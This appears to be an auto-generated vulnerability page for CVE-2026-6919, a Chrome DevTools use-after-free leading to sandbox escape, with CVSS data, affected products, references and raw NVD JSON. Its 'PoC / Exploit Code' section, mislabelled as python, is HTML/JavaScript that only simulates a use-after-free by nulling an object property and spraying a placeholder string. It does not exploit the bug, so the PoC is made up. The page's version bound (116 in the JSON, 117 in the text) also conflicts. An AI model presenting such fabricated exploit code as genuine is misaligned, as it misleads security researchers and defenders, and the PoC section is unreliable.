CVE-2026-6919

Description

Use after free in DevTools in Google Chrome prior to 147.0.7727.117 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

9.6

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:google:android:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 147.0.7727.117

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  Conceptual Proof of Concept for CVE-2026-6919
  Target: Google Chrome < 147.0.7727.117 DevTools
  Type: Use After Free leading to Sandbox Escape
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-6919 PoC</title>
</head>
<body>
    <h1>Chrome DevTools UAF PoC</h1>
    <script>
        // Step 1: Prepare the vulnerable object in DevTools context
        // This simulation assumes a vulnerable class exists in DevTools
        let vulnerableObject;
        
        function initVulnerability() {
            console.log("[+] Initializing vulnerable environment...");
            // In a real scenario, this would interact with DevTools internals
            vulnerableObject = {
                id: 1337,
                data: new ArrayBuffer(1024),
                release: function() {
                    // Simulate the free operation
                    console.log("[*] Object memory freed.");
                    this.data = null;
                },
                exploit: function() {
                    // Simulate the use-after-free access
                    console.log("[!] Attempting to access freed memory...");
                    if (this.data) {
                        return this.data.byteLength;
                    }
                    return 0; // Crash or exploit primitive triggered here
                }
            };
        }

        function triggerUAF() {
            // Step 2: Free the object
            vulnerableObject.release();

            // Step 3: Attempt to reuse the memory (Garbage collection timing manipulation)
            // The attacker tries to reallocate the freed memory with controlled data
            let sprayData = new Array(100).fill("MALICIOUS_PAYLOAD");

            // Step 4: Trigger the access
            setTimeout(() => {
                try {
                    vulnerableObject.exploit();
                    alert("PoC executed: Check console for crash or behavior.");
                } catch (e) {
                    console.log("[+] Crash triggered successfully.");
                }
            }, 100);
        }

        // Auto-trigger on load (requires user interaction in modern browsers)
        window.onload = function() {
            initVulnerability();
            document.body.onclick = triggerUAF;
            alert("Please click the page to trigger the PoC.");
        };
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6919
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6919
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6919/
[4] VulDB https://vuldb.com/cve/CVE-2026-6919
[5] https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop_22.html
[6] https://issues.chromium.org/issues/493652473

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6919", "sourceIdentifier": "[email protected]", "published": "2026-04-23T18:16:30.520", "lastModified": "2026-04-24T16:39:50.947", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in DevTools in Google Chrome prior to 147.0.7727.117 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "147.0.7727.116", "matchCriteriaId": "AB75176F-0FDC-47BF-A48D-D5F26FACD347"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop_22.html", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://issues.chromium.org/issues/493652473", "source": "[email protected]", "tags": ["Vendor Advisory", "Permissions Required"]}]}}